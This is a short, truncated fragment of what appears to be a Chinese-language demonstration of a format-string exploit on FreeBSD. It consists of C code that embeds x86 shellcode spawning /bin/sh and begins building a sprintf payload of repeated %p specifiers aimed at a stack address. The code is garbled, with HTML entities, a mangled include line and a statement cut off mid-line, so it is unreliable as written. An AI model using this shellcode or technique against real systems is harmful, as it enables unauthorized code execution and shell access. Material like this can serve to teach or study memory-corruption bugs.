FreeBSD格式化字符串简单演示

 1<stdio.h>   
 2char shell[]=   
 3"1\xc0t\f_PPWW\x88G\a\xb0;\xcd\x80\xe8\xef\xff\xff\xff/bin/sh";   
 4long addr,length=shell-152;   
 5char *pc = (char *)&amp;addr   
 6int main(int argc,char * argv[])   
 7{   
 8long p[1];   
 9char buff[76];   
10addr = (long ) &amp;p[2];   
11sprintf(buff,"%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%p%%%up\</stdio.h>